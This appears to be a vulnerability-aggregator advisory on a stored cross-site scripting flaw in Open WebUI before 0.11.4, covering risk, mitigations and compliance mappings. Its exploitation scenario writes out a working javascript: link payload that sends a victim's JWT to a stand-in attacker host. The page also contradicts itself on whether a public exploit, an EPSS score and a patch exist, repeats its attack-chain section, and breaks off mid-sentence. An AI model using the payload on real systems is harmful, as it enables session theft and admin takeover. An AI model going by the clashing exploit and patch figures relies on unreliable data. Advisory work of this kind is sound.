CVE-2026-109288: Open WebUI: stored XSS via javascript: links steals JWTs

MEDIUMCISA: ATTEND

Published October 12, 2026

CISO Take

Open WebUI before 0.11.4 renders markdown link URLs into anchor hrefs without checking the scheme, so an authenticated user can plant javascript: links in a shared chat that run script in a victim's browser and steal their JWT from local storage, admin tokens included. The CVSS of 6.4 understates the real danger: a stolen admin token gives full control of the LLM gateway, connected model backends, API keys and every user's chat history. Mitigating factors are that the attack needs a valid low-privilege account and a victim click, and that there is no public exploit, no Nuclei template, no KEV listing and no EPSS score yet. Even so, the package has 186 other CVEs and sees constant research attention, and this class of bug is simple to weaponize. Upgrade Open WebUI to 0.11.4 or later, then review shared chats for javascript: links and rotate tokens if any are found.

Sources:NVDGitHub AdvisoryVulnCheckATLAS

What is the risk?

Medium overall, but high for multi-user deployments where admins open chats shared by other users. Exploitation needs low privileges (any registered account) and one click from the victim (UI:R, AC:H), and the impact on confidentiality and integrity is high because the stolen JWT lets the attacker act as the victim. Instances with open self-registration, or a large user base with shared-chat features enabled, face the highest exposure. No exploitation in the wild, no public exploit and no KEV listing are known. The EPSS score is unavailable, so likelihood cannot be quantified. The package risk score is 38/100 and the 3 known downstream dependents indicate a small blast radius beyond direct deployments.

How does the attack unfold?

Initial Access

An attacker with a low-privilege account posts a chat containing a markdown link with a javascript: URL and shares it.

AML.T0011.003

Execution

A victim, possibly an admin, opens the shared chat and clicks the link, and the script runs in the Open WebUI origin.

AML.T0078

Credential Access

The script reads the victim's JWT from local storage and sends it to an attacker-controlled server.

AML.T0091.000

Impact

The attacker replays the token to impersonate the victim, read chat history, and take over the instance if the token is an admin's.

AML.T0012

Initial Access

An attacker with a low-privilege account posts a chat containing a markdown link with a javascript: URL and shares it.

AML.T0011.003

Execution

A victim, possibly an admin, opens the shared chat and clicks the link, and the script runs in the Open WebUI origin.

AML.T0078

Credential Access

The script reads the victim's JWT from local storage and sends it to an attacker-controlled server.

AML.T0091.000

Impact

The attacker replays the token to impersonate the victim, read chat history, and take over the instance if the token is an admin's.

AML.T0012

What systems are affected?

Package	Ecosystem	Vulnerable Range	Patched
Open WebUI	pip	—	No patch
156.7K3 dependentsPushed 6d ago76% patched~20d to patchFull package profile →

Do you use Open WebUI? You're affected.

How severe is it?

CVSS 3.1

6.4 / 10

EPSS

0.3%

chance of exploitation in 30 days

Higher than 22% of all CVEs

Source: EPSS v3 — FIRST.org

Exploitation Status

Exploit Available

Exploitation: MEDIUM

Sophistication

Trivial

Exploitation Confidence

medium

○CISA SSVC: Public PoC

Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AVNetwork

ACHigh

PRLow

UIRequired

SUnchanged

CHigh

IHigh

ANone

What should I do?

7 steps

Upgrade open-webui (pip) to 0.11.4 or later.
Until patched, disable the chat sharing feature, restrict registration to trusted users, and require admin approval for new accounts.
Search stored and shared chats for 'javascript:' in markdown link targets and remove any found.
If suspicious content is found, rotate JWT secrets (WEBUI_SECRET_KEY) to invalidate all sessions, and rotate any API keys and connection credentials configured in the instance.
Deploy a strict Content-Security-Policy at the reverse proxy that blocks inline and javascript: URL execution.
Train admins not to click links inside shared chats from untrusted users.
Monitor for admin API calls from unfamiliar IPs or user agents, and for session reuse across different IPs, which would indicate token theft.

What does CISA's SSVC say?

DecisionAttend

Exploitationpoc

AutomatableNo

Technical Impacttotal

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Auth BypassData LeakageSocial EngineeringFrameworkAPIAML.T0011.003- Malicious Link AML.T0012- Valid Accounts AML.T0049- Exploit Public-Facing Application AML.T0091.000- Application Access Token

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act

Article 15-Accuracy, robustness and cybersecurity

ISO 42001

A.6.2.6-AI system operation and monitoring

NIST AI RMF

MANAGE 2.3-Response to previously unknown risks and vulnerabilities

OWASP LLM Top 10

LLM05-Improper Output Handling

Frequently Asked Questions

What is CVE-2026-109288?

Is CVE-2026-109288 actively exploited?

No confirmed active exploitation of CVE-2026-109288 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-109288?

1. Upgrade open-webui (pip) to 0.11.4 or later. 2. Until patched, disable the chat sharing feature, restrict registration to trusted users, and require admin approval for new accounts. 3. Search stored and shared chats for 'javascript:' in markdown link targets and remove any found. 4. If suspicious content is found, rotate JWT secrets (WEBUI_SECRET_KEY) to invalidate all sessions, and rotate any API keys and connection credentials configured in the instance. 5. Deploy a strict Content-Security-Policy at the reverse proxy that blocks inline and javascript: URL execution. 6. Train admins not to click links inside shared chats from untrusted users. 7. Monitor for admin API calls from unfamiliar IPs or user agents, and for session reuse across different IPs, which would indicate token theft.

What systems are affected by CVE-2026-109288?

This vulnerability affects the following AI/ML architecture patterns: LLM chat front ends, Self-hosted LLM gateways, Multi-user AI collaboration platforms, RAG-enabled chat interfaces.

What is the CVSS score for CVE-2026-109288?

CVE-2026-109288 has a CVSS v3.1 base score of 6.4 (MEDIUM). The EPSS exploitation probability is 0.29%.

What is the AI security impact?

Affected AI Architectures

LLM chat front endsSelf-hosted LLM gatewaysMulti-user AI collaboration platformsRAG-enabled chat interfaces

MITRE ATLAS Techniques

AML.T0011.003Malicious Link

AML.T0012Valid Accounts

AML.T0049Exploit Public-Facing Application

AML.T0091.000Application Access Token

Compliance Controls Affected

EU AI Act: Article 15

ISO 42001: A.6.2.6

NIST AI RMF: MANAGE 2.3

OWASP LLM Top 10: LLM05

What are the technical details?

Original Advisory

Open WebUI before 0.11.4 contains a stored cross-site scripting vulnerability in MarkdownInlineTokens.svelte, which renders markdown link URLs into anchor hrefs without validating their scheme. Authenticated users can embed javascript: links in shared chats that, when clicked by a victim, steal the victim's JWT from local storage, including admins' tokens.

Exploitation Scenario

An attacker registers a low-privilege account on a company's Open WebUI instance and creates a chat containing a markdown link such as [View report](javascript:fetch('https://attacker.example/?t='+localStorage.token)). They share the chat and send the link to an administrator, saying the model gave an odd answer that needs review. The admin opens the shared chat and clicks the link, and the script sends the admin JWT to the attacker's server. The attacker replays the token against the Open WebUI API, reads all users' conversations, changes model connection settings to capture API keys, and sets up persistent access by creating a new admin account.

Weaknesses (CWE)

CWE-79Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'): The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

[Architecture and Design] Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
[Implementation, Architecture and Design] Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed. HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Casca

Source: MITRE CWE corpus.